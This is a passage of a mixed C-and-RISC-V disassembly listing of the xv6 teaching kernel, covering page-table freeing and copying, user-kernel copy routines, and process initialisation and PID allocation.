PTE2PA(pte); 80001548: 8129 srli a0,a0,0xa freewalk((pagetable_t)child); 8000154a: 0532 slli a0,a0,0xc 8000154c: 00000097 auipc ra,0x0 80001550: fe0080e7 jalr -32(ra) # 8000152c <freewalk> pagetable[i] = 0; 80001554: 0004b023 sd zero,0(s1) for(int i = 0; i < 512; i++){ 80001558: 04a1 addi s1,s1,8 8000155a: 03248163 beq s1,s2,8000157c <freewalk+0x50> pte_t pte = pagetable[i]; 8000155e: 6088 ld a0,0(s1) if((pte & PTE_V) && (pte & (PTE_R|PTE_W|PTE_X)) == 0){ 80001560: 00f57793 andi a5,a0,15 80001564: ff3782e3 beq a5,s3,80001548 <freewalk+0x1c> } else if(pte & PTE_V){ 80001568: 8905 andi a0,a0,1 8000156a: d57d beqz a0,80001558 <freewalk+0x2c> panic("freewalk: leaf"); 8000156c: 00007517 auipc a0,0x7 80001570: bfc50513 addi a0,a0,-1028 # 80008168 <digits+0x128> 80001574: fffff097 auipc ra,0xfffff 80001578: fd4080e7 jalr -44(ra) # 80000548 <panic> } } kfree((void*)pagetable); 8000157c: 8552 mv a0,s4 8000157e: fffff097 auipc ra,0xfffff 80001582: 4a6080e7 jalr 1190(ra) # 80000a24 <kfree> } 80001586: 70a2 ld ra,40(sp) 80001588: 7402 ld s0,32(sp) 8000158a: 64e2 ld s1,24(sp) 8000158c: 6942 ld s2,16(sp) 8000158e: 69a2 ld s3,8(sp) 80001590: 6a02 ld s4,0(sp) 80001592: 6145 addi sp,sp,48 80001594: 8082 ret 0000000080001596 <uvmfree>: // Free user memory pages, // then free page-table pages. void uvmfree(pagetable_t pagetable, uint64 sz) { 80001596: 1101 addi sp,sp,-32 80001598: ec06 sd ra,24(sp) 8000159a: e822 sd s0,16(sp) 8000159c: e426 sd s1,8(sp) 8000159e: 1000 addi s0,sp,32 800015a0: 84aa mv s1,a0 if(sz > 0) 800015a2: e999 bnez a1,800015b8 <uvmfree+0x22> uvmunmap(pagetable, 0, PGROUNDUP(sz)/PGSIZE, 1); freewalk(pagetable); 800015a4: 8526 mv a0,s1 800015a6: 00000097 auipc ra,0x0 800015aa: f86080e7 jalr -122(ra) # 8000152c <freewalk> } 800015ae: 60e2 ld ra,24(sp) 800015b0: 6442 ld s0,16(sp) 800015b2: 64a2 ld s1,8(sp) 800015b4: 6105 addi sp,sp,32 800015b6: 8082 ret uvmunmap(pagetable, 0, PGROUNDUP(sz)/PGSIZE, 1); 800015b8: 6605 lui a2,0x1 800015ba: 167d addi a2,a2,-1 800015bc: 962e add a2,a2,a1 800015be: 4685 li a3,1 800015c0: 8231 srli a2,a2,0xc 800015c2: 4581 li a1,0 800015c4: 00000097 auipc ra,0x0 800015c8: d12080e7 jalr -750(ra) # 800012d6 <uvmunmap> 800015cc: bfe1 j 800015a4 <uvmfree+0xe> 00000000800015ce <uvmcopy>: pte_t *pte; uint64 pa, i; uint flags; char *mem; for(i = 0; i < sz; i += PGSIZE){ 800015ce: c679 beqz a2,8000169c <uvmcopy+0xce> { 800015d0: 715d addi sp,sp,-80 800015d2: e486 sd ra,72(sp) 800015d4: e0a2 sd s0,64(sp) 800015d6: fc26 sd s1,56(sp) 800015d8: f84a sd s2,48(sp) 800015da: f44e sd s3,40(sp) 800015dc: f052 sd s4,32(sp) 800015de: ec56 sd s5,24(sp) 800015e0: e85a sd s6,16(sp) 800015e2: e45e sd s7,8(sp) 800015e4: 0880 addi s0,sp,80 800015e6: 8b2a mv s6,a0 800015e8: 8aae mv s5,a1 800015ea: 8a32 mv s4,a2 for(i = 0; i < sz; i += PGSIZE){ 800015ec: 4981 li s3,0 if((pte = walk(old, i, 0)) == 0) 800015ee: 4601 li a2,0 800015f0: 85ce mv a1,s3 800015f2: 855a mv a0,s6 800015f4: 00000097 auipc ra,0x0 800015f8: a04080e7 jalr -1532(ra) # 80000ff8 <walk> 800015fc: c531 beqz a0,80001648 <uvmcopy+0x7a> panic("uvmcopy: pte should exist"); if((*pte & PTE_V) == 0) 800015fe: 6118 ld a4,0(a0) 80001600: 00177793 andi a5,a4,1 80001604: cbb1 beqz a5,80001658 <uvmcopy+0x8a> panic("uvmcopy: page not present"); pa = PTE2PA(*pte); 80001606: 00a75593 srli a1,a4,0xa 8000160a: 00c59b93 slli s7,a1,0xc flags = PTE_FLAGS(*pte); 8000160e: 3ff77493 andi s1,a4,1023 if((mem = kalloc()) == 0) 80001612: fffff097 auipc ra,0xfffff 80001616: 50e080e7 jalr 1294(ra) # 80000b20 <kalloc> 8000161a: 892a mv s2,a0 8000161c: c939 beqz a0,80001672 <uvmcopy+0xa4> goto err; memmove(mem, (char*)pa, PGSIZE); 8000161e: 6605 lui a2,0x1 80001620: 85de mv a1,s7 80001622: fffff097 auipc ra,0xfffff 80001626: 74a080e7 jalr 1866(ra) # 80000d6c <memmove> if(mappages(new, i, PGSIZE, (uint64)mem, flags) != 0){ 8000162a: 8726 mv a4,s1 8000162c: 86ca mv a3,s2 8000162e: 6605 lui a2,0x1 80001630: 85ce mv a1,s3 80001632: 8556 mv a0,s5 80001634: 00000097 auipc ra,0x0 80001638: b0a080e7 jalr -1270(ra) # 8000113e <mappages> 8000163c: e515 bnez a0,80001668 <uvmcopy+0x9a> for(i = 0; i < sz; i += PGSIZE){ 8000163e: 6785 lui a5,0x1 80001640: 99be add s3,s3,a5 80001642: fb49e6e3 bltu s3,s4,800015ee <uvmcopy+0x20> 80001646: a081 j 80001686 <uvmcopy+0xb8> panic("uvmcopy: pte should exist"); 80001648: 00007517 auipc a0,0x7 8000164c: b3050513 addi a0,a0,-1232 # 80008178 <digits+0x138> 80001650: fffff097 auipc ra,0xfffff 80001654: ef8080e7 jalr -264(ra) # 80000548 <panic> panic("uvmcopy: page not present"); 80001658: 00007517 auipc a0,0x7 8000165c: b4050513 addi a0,a0,-1216 # 80008198 <digits+0x158> 80001660: fffff097 auipc ra,0xfffff 80001664: ee8080e7 jalr -280(ra) # 80000548 <panic> kfree(mem); 80001668: 854a mv a0,s2 8000166a: fffff097 auipc ra,0xfffff 8000166e: 3ba080e7 jalr 954(ra) # 80000a24 <kfree> } } return 0; err: uvmunmap(new, 0, i / PGSIZE, 1); 80001672: 4685 li a3,1 80001674: 00c9d613 srli a2,s3,0xc 80001678: 4581 li a1,0 8000167a: 8556 mv a0,s5 8000167c: 00000097 auipc ra,0x0 80001680: c5a080e7 jalr -934(ra) # 800012d6 <uvmunmap> return -1; 80001684: 557d li a0,-1 } 80001686: 60a6 ld ra,72(sp) 80001688: 6406 ld s0,64(sp) 8000168a: 74e2 ld s1,56(sp) 8000168c: 7942 ld s2,48(sp) 8000168e: 79a2 ld s3,40(sp) 80001690: 7a02 ld s4,32(sp) 80001692: 6ae2 ld s5,24(sp) 80001694: 6b42 ld s6,16(sp) 80001696: 6ba2 ld s7,8(sp) 80001698: 6161 addi sp,sp,80 8000169a: 8082 ret return 0; 8000169c: 4501 li a0,0 } 8000169e: 8082 ret 00000000800016a0 <uvmclear>: // mark a PTE invalid for user access. // used by exec for the user stack guard page. void uvmclear(pagetable_t pagetable, uint64 va) { 800016a0: 1141 addi sp,sp,-16 800016a2: e406 sd ra,8(sp) 800016a4: e022 sd s0,0(sp) 800016a6: 0800 addi s0,sp,16 pte_t *pte; pte = walk(pagetable, va, 0); 800016a8: 4601 li a2,0 800016aa: 00000097 auipc ra,0x0 800016ae: 94e080e7 jalr -1714(ra) # 80000ff8 <walk> if(pte == 0) 800016b2: c901 beqz a0,800016c2 <uvmclear+0x22> panic("uvmclear"); *pte &= ~PTE_U; 800016b4: 611c ld a5,0(a0) 800016b6: 9bbd andi a5,a5,-17 800016b8: e11c sd a5,0(a0) } 800016ba: 60a2 ld ra,8(sp) 800016bc: 6402 ld s0,0(sp) 800016be: 0141 addi sp,sp,16 800016c0: 8082 ret panic("uvmclear"); 800016c2: 00007517 auipc a0,0x7 800016c6: af650513 addi a0,a0,-1290 # 800081b8 <digits+0x178> 800016ca: fffff097 auipc ra,0xfffff 800016ce: e7e080e7 jalr -386(ra) # 80000548 <panic> 00000000800016d2 <copyout>: int copyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len) { uint64 n, va0, pa0; while(len > 0){ 800016d2: c6bd beqz a3,80001740 <copyout+0x6e> { 800016d4: 715d addi sp,sp,-80 800016d6: e486 sd ra,72(sp) 800016d8: e0a2 sd s0,64(sp) 800016da: fc26 sd s1,56(sp) 800016dc: f84a sd s2,48(sp) 800016de: f44e sd s3,40(sp) 800016e0: f052 sd s4,32(sp) 800016e2: ec56 sd s5,24(sp) 800016e4: e85a sd s6,16(sp) 800016e6: e45e sd s7,8(sp) 800016e8: e062 sd s8,0(sp) 800016ea: 0880 addi s0,sp,80 800016ec: 8b2a mv s6,a0 800016ee: 8c2e mv s8,a1 800016f0: 8a32 mv s4,a2 800016f2: 89b6 mv s3,a3 va0 = PGROUNDDOWN(dstva); 800016f4: 7bfd lui s7,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (dstva - va0); 800016f6: 6a85 lui s5,0x1 800016f8: a015 j 8000171c <copyout+0x4a> if(n > len) n = len; memmove((void *)(pa0 + (dstva - va0)), src, n); 800016fa: 9562 add a0,a0,s8 800016fc: 0004861b sext.w a2,s1 80001700: 85d2 mv a1,s4 80001702: 41250533 sub a0,a0,s2 80001706: fffff097 auipc ra,0xfffff 8000170a: 666080e7 jalr 1638(ra) # 80000d6c <memmove> len -= n; 8000170e: 409989b3 sub s3,s3,s1 src += n; 80001712: 9a26 add s4,s4,s1 dstva = va0 + PGSIZE; 80001714: 01590c33 add s8,s2,s5 while(len > 0){ 80001718: 02098263 beqz s3,8000173c <copyout+0x6a> va0 = PGROUNDDOWN(dstva); 8000171c: 017c7933 and s2,s8,s7 pa0 = walkaddr(pagetable, va0); 80001720: 85ca mv a1,s2 80001722: 855a mv a0,s6 80001724: 00000097 auipc ra,0x0 80001728: 97a080e7 jalr -1670(ra) # 8000109e <walkaddr> if(pa0 == 0) 8000172c: cd01 beqz a0,80001744 <copyout+0x72> n = PGSIZE - (dstva - va0); 8000172e: 418904b3 sub s1,s2,s8 80001732: 94d6 add s1,s1,s5 if(n > len) 80001734: fc99f3e3 bgeu s3,s1,800016fa <copyout+0x28> 80001738: 84ce mv s1,s3 8000173a: b7c1 j 800016fa <copyout+0x28> } return 0; 8000173c: 4501 li a0,0 8000173e: a021 j 80001746 <copyout+0x74> 80001740: 4501 li a0,0 } 80001742: 8082 ret return -1; 80001744: 557d li a0,-1 } 80001746: 60a6 ld ra,72(sp) 80001748: 6406 ld s0,64(sp) 8000174a: 74e2 ld s1,56(sp) 8000174c: 7942 ld s2,48(sp) 8000174e: 79a2 ld s3,40(sp) 80001750: 7a02 ld s4,32(sp) 80001752: 6ae2 ld s5,24(sp) 80001754: 6b42 ld s6,16(sp) 80001756: 6ba2 ld s7,8(sp) 80001758: 6c02 ld s8,0(sp) 8000175a: 6161 addi sp,sp,80 8000175c: 8082 ret 000000008000175e <copyin>: int copyin(pagetable_t pagetable, char *dst, uint64 srcva, uint64 len) { uint64 n, va0, pa0; while(len > 0){ 8000175e: c6bd beqz a3,800017cc <copyin+0x6e> { 80001760: 715d addi sp,sp,-80 80001762: e486 sd ra,72(sp) 80001764: e0a2 sd s0,64(sp) 80001766: fc26 sd s1,56(sp) 80001768: f84a sd s2,48(sp) 8000176a: f44e sd s3,40(sp) 8000176c: f052 sd s4,32(sp) 8000176e: ec56 sd s5,24(sp) 80001770: e85a sd s6,16(sp) 80001772: e45e sd s7,8(sp) 80001774: e062 sd s8,0(sp) 80001776: 0880 addi s0,sp,80 80001778: 8b2a mv s6,a0 8000177a: 8a2e mv s4,a1 8000177c: 8c32 mv s8,a2 8000177e: 89b6 mv s3,a3 va0 = PGROUNDDOWN(srcva); 80001780: 7bfd lui s7,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (srcva - va0); 80001782: 6a85 lui s5,0x1 80001784: a015 j 800017a8 <copyin+0x4a> if(n > len) n = len; memmove(dst, (void *)(pa0 + (srcva - va0)), n); 80001786: 9562 add a0,a0,s8 80001788: 0004861b sext.w a2,s1 8000178c: 412505b3 sub a1,a0,s2 80001790: 8552 mv a0,s4 80001792: fffff097 auipc ra,0xfffff 80001796: 5da080e7 jalr 1498(ra) # 80000d6c <memmove> len -= n; 8000179a: 409989b3 sub s3,s3,s1 dst += n; 8000179e: 9a26 add s4,s4,s1 srcva = va0 + PGSIZE; 800017a0: 01590c33 add s8,s2,s5 while(len > 0){ 800017a4: 02098263 beqz s3,800017c8 <copyin+0x6a> va0 = PGROUNDDOWN(srcva); 800017a8: 017c7933 and s2,s8,s7 pa0 = walkaddr(pagetable, va0); 800017ac: 85ca mv a1,s2 800017ae: 855a mv a0,s6 800017b0: 00000097 auipc ra,0x0 800017b4: 8ee080e7 jalr -1810(ra) # 8000109e <walkaddr> if(pa0 == 0) 800017b8: cd01 beqz a0,800017d0 <copyin+0x72> n = PGSIZE - (srcva - va0); 800017ba: 418904b3 sub s1,s2,s8 800017be: 94d6 add s1,s1,s5 if(n > len) 800017c0: fc99f3e3 bgeu s3,s1,80001786 <copyin+0x28> 800017c4: 84ce mv s1,s3 800017c6: b7c1 j 80001786 <copyin+0x28> } return 0; 800017c8: 4501 li a0,0 800017ca: a021 j 800017d2 <copyin+0x74> 800017cc: 4501 li a0,0 } 800017ce: 8082 ret return -1; 800017d0: 557d li a0,-1 } 800017d2: 60a6 ld ra,72(sp) 800017d4: 6406 ld s0,64(sp) 800017d6: 74e2 ld s1,56(sp) 800017d8: 7942 ld s2,48(sp) 800017da: 79a2 ld s3,40(sp) 800017dc: 7a02 ld s4,32(sp) 800017de: 6ae2 ld s5,24(sp) 800017e0: 6b42 ld s6,16(sp) 800017e2: 6ba2 ld s7,8(sp) 800017e4: 6c02 ld s8,0(sp) 800017e6: 6161 addi sp,sp,80 800017e8: 8082 ret 00000000800017ea <copyinstr>: copyinstr(pagetable_t pagetable, char *dst, uint64 srcva, uint64 max) { uint64 n, va0, pa0; int got_null = 0; while(got_null == 0 && max > 0){ 800017ea: c6c5 beqz a3,80001892 <copyinstr+0xa8> { 800017ec: 715d addi sp,sp,-80 800017ee: e486 sd ra,72(sp) 800017f0: e0a2 sd s0,64(sp) 800017f2: fc26 sd s1,56(sp) 800017f4: f84a sd s2,48(sp) 800017f6: f44e sd s3,40(sp) 800017f8: f052 sd s4,32(sp) 800017fa: ec56 sd s5,24(sp) 800017fc: e85a sd s6,16(sp) 800017fe: e45e sd s7,8(sp) 80001800: 0880 addi s0,sp,80 80001802: 8a2a mv s4,a0 80001804: 8b2e mv s6,a1 80001806: 8bb2 mv s7,a2 80001808: 84b6 mv s1,a3 va0 = PGROUNDDOWN(srcva); 8000180a: 7afd lui s5,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (srcva - va0); 8000180c: 6985 lui s3,0x1 8000180e: a035 j 8000183a <copyinstr+0x50> n = max; char *p = (char *) (pa0 + (srcva - va0)); while(n > 0){ if(*p == '\0'){ *dst = '\0'; 80001810: 00078023 sb zero,0(a5) # 1000 <_entry-0x7ffff000> 80001814: 4785 li a5,1 dst++; } srcva = va0 + PGSIZE; } if(got_null){ 80001816: 0017b793 seqz a5,a5 8000181a: 40f00533 neg a0,a5 return 0; } else { return -1; } } 8000181e: 60a6 ld ra,72(sp) 80001820: 6406 ld s0,64(sp) 80001822: 74e2 ld s1,56(sp) 80001824: 7942 ld s2,48(sp) 80001826: 79a2 ld s3,40(sp) 80001828: 7a02 ld s4,32(sp) 8000182a: 6ae2 ld s5,24(sp) 8000182c: 6b42 ld s6,16(sp) 8000182e: 6ba2 ld s7,8(sp) 80001830: 6161 addi sp,sp,80 80001832: 8082 ret srcva = va0 + PGSIZE; 80001834: 01390bb3 add s7,s2,s3 while(got_null == 0 && max > 0){ 80001838: c8a9 beqz s1,8000188a <copyinstr+0xa0> va0 = PGROUNDDOWN(srcva); 8000183a: 015bf933 and s2,s7,s5 pa0 = walkaddr(pagetable, va0); 8000183e: 85ca mv a1,s2 80001840: 8552 mv a0,s4 80001842: 00000097 auipc ra,0x0 80001846: 85c080e7 jalr -1956(ra) # 8000109e <walkaddr> if(pa0 == 0) 8000184a: c131 beqz a0,8000188e <copyinstr+0xa4> n = PGSIZE - (srcva - va0); 8000184c: 41790833 sub a6,s2,s7 80001850: 984e add a6,a6,s3 if(n > max) 80001852: 0104f363 bgeu s1,a6,80001858 <copyinstr+0x6e> 80001856: 8826 mv a6,s1 char *p = (char *) (pa0 + (srcva - va0)); 80001858: 955e add a0,a0,s7 8000185a: 41250533 sub a0,a0,s2 while(n > 0){ 8000185e: fc080be3 beqz a6,80001834 <copyinstr+0x4a> 80001862: 985a add a6,a6,s6 80001864: 87da mv a5,s6 if(*p == '\0'){ 80001866: 41650633 sub a2,a0,s6 8000186a: 14fd addi s1,s1,-1 8000186c: 9b26 add s6,s6,s1 8000186e: 00f60733 add a4,a2,a5 80001872: 00074703 lbu a4,0(a4) # fffffffffffff000 <end+0xffffffff7ffd9000> 80001876: df49 beqz a4,80001810 <copyinstr+0x26> *dst = *p; 80001878: 00e78023 sb a4,0(a5) --max; 8000187c: 40fb04b3 sub s1,s6,a5 dst++; 80001880: 0785 addi a5,a5,1 while(n > 0){ 80001882: ff0796e3 bne a5,a6,8000186e <copyinstr+0x84> dst++; 80001886: 8b42 mv s6,a6 80001888: b775 j 80001834 <copyinstr+0x4a> 8000188a: 4781 li a5,0 8000188c: b769 j 80001816 <copyinstr+0x2c> return -1; 8000188e: 557d li a0,-1 80001890: b779 j 8000181e <copyinstr+0x34> int got_null = 0; 80001892: 4781 li a5,0 if(got_null){ 80001894: 0017b793 seqz a5,a5 80001898: 40f00533 neg a0,a5 } 8000189c: 8082 ret 000000008000189e <wakeup1>: // Wake up p if it is sleeping in wait(); used by exit(). // Caller must hold p->lock. static void wakeup1(struct proc *p) { 8000189e: 1101 addi sp,sp,-32 800018a0: ec06 sd ra,24(sp) 800018a2: e822 sd s0,16(sp) 800018a4: e426 sd s1,8(sp) 800018a6: 1000 addi s0,sp,32 800018a8: 84aa mv s1,a0 if(!holding(&p->lock)) 800018aa: fffff097 auipc ra,0xfffff 800018ae: 2ec080e7 jalr 748(ra) # 80000b96 <holding> 800018b2: c909 beqz a0,800018c4 <wakeup1+0x26> panic("wakeup1"); if(p->chan == p && p->state == SLEEPING) { 800018b4: 749c ld a5,40(s1) 800018b6: 00978f63 beq a5,s1,800018d4 <wakeup1+0x36> p->state = RUNNABLE; } } 800018ba: 60e2 ld ra,24(sp) 800018bc: 6442 ld s0,16(sp) 800018be: 64a2 ld s1,8(sp) 800018c0: 6105 addi sp,sp,32 800018c2: 8082 ret panic("wakeup1"); 800018c4: 00007517 auipc a0,0x7 800018c8: 90450513 addi a0,a0,-1788 # 800081c8 <digits+0x188> 800018cc: fffff097 auipc ra,0xfffff 800018d0: c7c080e7 jalr -900(ra) # 80000548 <panic> if(p->chan == p && p->state == SLEEPING) { 800018d4: 4c98 lw a4,24(s1) 800018d6: 4785 li a5,1 800018d8: fef711e3 bne a4,a5,800018ba <wakeup1+0x1c> p->state = RUNNABLE; 800018dc: 4789 li a5,2 800018de: cc9c sw a5,24(s1) } 800018e0: bfe9 j 800018ba <wakeup1+0x1c> 00000000800018e2 <procinit>: { 800018e2: 715d addi sp,sp,-80 800018e4: e486 sd ra,72(sp) 800018e6: e0a2 sd s0,64(sp) 800018e8: fc26 sd s1,56(sp) 800018ea: f84a sd s2,48(sp) 800018ec: f44e sd s3,40(sp) 800018ee: f052 sd s4,32(sp) 800018f0: ec56 sd s5,24(sp) 800018f2: e85a sd s6,16(sp) 800018f4: e45e sd s7,8(sp) 800018f6: 0880 addi s0,sp,80 initlock(&pid_lock, "nextpid"); 800018f8: 00007597 auipc a1,0x7 800018fc: 8d858593 addi a1,a1,-1832 # 800081d0 <digits+0x190> 80001900: 00010517 auipc a0,0x10 80001904: 05050513 addi a0,a0,80 # 80011950 <pid_lock> 80001908: fffff097 auipc ra,0xfffff 8000190c: 278080e7 jalr 632(ra) # 80000b80 <initlock> for(p = proc; p < &proc[NPROC]; p++) { 80001910: 00010917 auipc s2,0x10 80001914: 45890913 addi s2,s2,1112 # 80011d68 <proc> initlock(&p->lock, "proc"); 80001918: 00007b97 auipc s7,0x7 8000191c: 8c0b8b93 addi s7,s7,-1856 # 800081d8 <digits+0x198> uint64 va = KSTACK((int) (p - proc)); 80001920: 8b4a mv s6,s2 80001922: 00006a97 auipc s5,0x6 80001926: 6dea8a93 addi s5,s5,1758 # 80008000 <etext> 8000192a: 040009b7 lui s3,0x4000 8000192e: 19fd addi s3,s3,-1 80001930: 09b2 slli s3,s3,0xc for(p = proc; p < &proc[NPROC]; p++) { 80001932: 00016a17 auipc s4,0x16 80001936: e36a0a13 addi s4,s4,-458 # 80017768 <tickslock> initlock(&p->lock, "proc"); 8000193a: 85de mv a1,s7 8000193c: 854a mv a0,s2 8000193e: fffff097 auipc ra,0xfffff 80001942: 242080e7 jalr 578(ra) # 80000b80 <initlock> char *pa = kalloc(); 80001946: fffff097 auipc ra,0xfffff 8000194a: 1da080e7 jalr 474(ra) # 80000b20 <kalloc> 8000194e: 85aa mv a1,a0 if(pa == 0) 80001950: c929 beqz a0,800019a2 <procinit+0xc0> uint64 va = KSTACK((int) (p - proc)); 80001952: 416904b3 sub s1,s2,s6 80001956: 848d srai s1,s1,0x3 80001958: 000ab783 ld a5,0(s5) 8000195c: 02f484b3 mul s1,s1,a5 80001960: 2485 addiw s1,s1,1 80001962: 00d4949b slliw s1,s1,0xd 80001966: 409984b3 sub s1,s3,s1 kvmmap(va, (uint64)pa, PGSIZE, PTE_R | PTE_W); 8000196a: 4699 li a3,6 8000196c: 6605 lui a2,0x1 8000196e: 8526 mv a0,s1 80001970: 00000097 auipc ra,0x0 80001974: 85c080e7 jalr -1956(ra) # 800011cc <kvmmap> p->kstack = va; 80001978: 04993023 sd s1,64(s2) for(p = proc; p < &proc[NPROC]; p++) { 8000197c: 16890913 addi s2,s2,360 80001980: fb491de3 bne s2,s4,8000193a <procinit+0x58> kvminithart(); 80001984: fffff097 auipc ra,0xfffff 80001988: 650080e7 jalr 1616(ra) # 80000fd4 <kvminithart> } 8000198c: 60a6 ld ra,72(sp) 8000198e: 6406 ld s0,64(sp) 80001990: 74e2 ld s1,56(sp) 80001992: 7942 ld s2,48(sp) 80001994: 79a2 ld s3,40(sp) 80001996: 7a02 ld s4,32(sp) 80001998: 6ae2 ld s5,24(sp) 8000199a: 6b42 ld s6,16(sp) 8000199c: 6ba2 ld s7,8(sp) 8000199e: 6161 addi sp,sp,80 800019a0: 8082 ret panic("kalloc"); 800019a2: 00007517 auipc a0,0x7 800019a6: 83e50513 addi a0,a0,-1986 # 800081e0 <digits+0x1a0> 800019aa: fffff097 auipc ra,0xfffff 800019ae: b9e080e7 jalr -1122(ra) # 80000548 <panic> 00000000800019b2 <cpuid>: { 800019b2: 1141 addi sp,sp,-16 800019b4: e422 sd s0,8(sp) 800019b6: 0800 addi s0,sp,16 asm volatile("mv %0, tp" : "=r" (x) ); 800019b8: 8512 mv a0,tp } 800019ba: 2501 sext.w a0,a0 800019bc: 6422 ld s0,8(sp) 800019be: 0141 addi sp,sp,16 800019c0: 8082 ret 00000000800019c2 <mycpu>: mycpu(void) { 800019c2: 1141 addi sp,sp,-16 800019c4: e422 sd s0,8(sp) 800019c6: 0800 addi s0,sp,16 800019c8: 8792 mv a5,tp struct cpu *c = &cpus[id]; 800019ca: 2781 sext.w a5,a5 800019cc: 079e slli a5,a5,0x7 } 800019ce: 00010517 auipc a0,0x10 800019d2: f9a50513 addi a0,a0,-102 # 80011968 <cpus> 800019d6: 953e add a0,a0,a5 800019d8: 6422 ld s0,8(sp) 800019da: 0141 addi sp,sp,16 800019dc: 8082 ret 00000000800019de <myproc>: myproc(void) { 800019de: 1101 addi sp,sp,-32 800019e0: ec06 sd ra,24(sp) 800019e2: e822 sd s0,16(sp) 800019e4: e426 sd s1,8(sp) 800019e6: 1000 addi s0,sp,32 push_off(); 800019e8: fffff097 auipc ra,0xfffff 800019ec: 1dc080e7 jalr 476(ra) # 80000bc4 <push_off> 800019f0: 8792 mv a5,tp struct proc *p = c->proc; 800019f2: 2781 sext.w a5,a5 800019f4: 079e slli a5,a5,0x7 800019f6: 00010717 auipc a4,0x10 800019fa: f5a70713 addi a4,a4,-166 # 80011950 <pid_lock> 800019fe: 97ba add a5,a5,a4 80001a00: 6f84 ld s1,24(a5) pop_off(); 80001a02: fffff097 auipc ra,0xfffff 80001a06: 262080e7 jalr 610(ra) # 80000c64 <pop_off> } 80001a0a: 8526 mv a0,s1 80001a0c: 60e2 ld ra,24(sp) 80001a0e: 6442 ld s0,16(sp) 80001a10: 64a2 ld s1,8(sp) 80001a12: 6105 addi sp,sp,32 80001a14: 8082 ret 0000000080001a16 <forkret>: { 80001a16: 1141 addi sp,sp,-16 80001a18: e406 sd ra,8(sp) 80001a1a: e022 sd s0,0(sp) 80001a1c: 0800 addi s0,sp,16 release(&myproc()->lock); 80001a1e: 00000097 auipc ra,0x0 80001a22: fc0080e7 jalr -64(ra) # 800019de <myproc> 80001a26: fffff097 auipc ra,0xfffff 80001a2a: 29e080e7 jalr 670(ra) # 80000cc4 <release> if (first) { 80001a2e: 00007797 auipc a5,0x7 80001a32: de27a783 lw a5,-542(a5) # 80008810 <first.1662> 80001a36: eb89 bnez a5,80001a48 <forkret+0x32> usertrapret(); 80001a38: 00001097 auipc ra,0x1 80001a3c: c18080e7 jalr -1000(ra) # 80002650 <usertrapret> } 80001a40: 60a2 ld ra,8(sp) 80001a42: 6402 ld s0,0(sp) 80001a44: 0141 addi sp,sp,16 80001a46: 8082 ret first = 0; 80001a48: 00007797 auipc a5,0x7 80001a4c: dc07a423 sw zero,-568(a5) # 80008810 <first.1662> fsinit(ROOTDEV); 80001a50: 4505 li a0,1 80001a52: 00002097 auipc ra,0x2 80001a56: 940080e7 jalr -1728(ra) # 80003392 <fsinit> 80001a5a: bff9 j 80001a38 <forkret+0x22> 0000000080001a5c <allocpid>: allocpid() { 80001a5c: 1101 addi sp,sp,-32 80001a5e: ec06 sd ra,24(sp) 80001a60: e822 sd s0,16(sp) 80001a62: e426 sd s1,8(sp) 80001a64: e04a sd s2,0(sp) 80001a66: 1000 addi s0,sp,32 acquire(&pid_lock); 80001a68: 00010917 auipc s2,0x10 80001a6c: ee890913 addi s2,s2,-280 # 80011950 <pid_lock> 80001a70: 854a mv a0,s2 80001a72: fffff097 auipc ra,0xfffff 80001a76: 19e080e7 jalr 414(ra) # 80000c10 <acquire> pid = nextpid; 80001a7a: 00007797 auipc a5,0x7 80001a7e: d9a78793 addi a5,a5,-614 # 80008814 <nextpid> 80001a82: 4384 lw s1,0(a5) nextpid = nextpid + 1; 80001a84: 0014871b addiw a4,s1,1 80001a88: c398 sw a4,0(a5) release(&pid_lock); 80001a8a: 854a mv a0,s2 80001a8c: fffff097 auipc ra,0xfffff 80001a90: 238080e7 jalr 568(ra) # 80000cc4 <release> } 80001a94: 8526 mv a0,s1 80001a96: 60e2 ld ra,24(sp) 80001a98: 6442 ld s0,16(sp) 80001a9a: 64a2 ld s1,8(sp) 80001a9c: 6902 ld s2,0(sp) 80001a9e: 6105 addi sp,sp,32 80001aa0: 8082 ret 0000000080001aa2 <proc_pagetable>: { 80001aa2: 1101 addi sp,sp,-32 80001aa4: ec06 sd ra,24(sp) 80001aa6: e822 sd s0,16(sp) 80001aa8: e426 sd s1,8(sp) 80001aaa: e04a sd s2,0(sp) 80001aac: 1000 addi s0,sp,32 80001aae: 892a mv s2,a0 pagetable = uvmcreate(); 80001ab0: 00000097 auipc ra,0x0 80001ab4: 8ea080e7 jalr -1814(ra) # 8000139a <uvmcreate> 80001ab8: 84aa mv s1,a0 if(pagetable == 0) 80001aba: c121 beqz a0,80001afa <proc_pagetable+0x58> if(mappages(pagetable, TRAMPOLINE, PGSIZE, 80001abc: 4729 li a4,10 80001abe: 00005697 auipc a3,0x5 80001ac2: 54268693 addi a3,a3,1346 # 80007000 <_trampoline> 80001ac6: 6605 lui a2,0x1 80001ac8: 040005b7 lui a1,0x4000 80001acc: 15fd addi a1,a1,-1 80001ace: 05b2 slli a1,a1,0xc 80001ad0: fffff097 auipc ra,0xfffff 80001ad4: 66e080e7 jalr 1646(ra) # 8000113e <mappages> 80001ad8: 02054863 bltz a0,80001b08 <proc_pagetable+0x66> if(mappages(pagetable, TRAPFRAME, PGSIZE, 80001adc: 4719 li a4,6 80001ade: 05893683 ld a3,88(s2) 80001ae2: 6605 lui a2,0x1 80001ae4: 020005b7 lui a1,0x2000 80001ae8: 15fd addi a1,a1,-1 80001aea: 05b6 slli a1,a1,0xd 80001aec: 8526 mv a0,s1 80001aee: fffff097 auipc ra,0xfffff 80001af2: 650080e7 jalr 1616(ra) # 8000113e <mappages> 80001af6: 02054163 bltz a0,80001b18 <proc_pagetable+0x76> } 80001afa: 8526 mv a0,s1 80001afc: 60e2 ld ra,24(sp) 80001afe: 6442 ld s0,16(sp) 80001b00: 64a2 ld s1,8(sp) 80001b02: 6902 ld s2,0(sp) 80001b04: 6105 addi sp,sp,32 80001b06: 8082 ret uvmfree(pagetable, 0); 80001b08: 4581 li a1,0 80001b0a: 8526 mv a0,s1 80001b0c: 00000097 auipc ra,0x0 80001b10: a8a080e7 jalr -1398(ra) # 80001596 <uvmfree> return 0; 80001b14: 4481 li s1,0 80001b16: b7d5 j 80001afa <proc_pagetable+0x58> uvmunmap(pagetable, TRAMPOLINE, 1, 0); 80001b18: 4681 li a3,0 80001b1a: 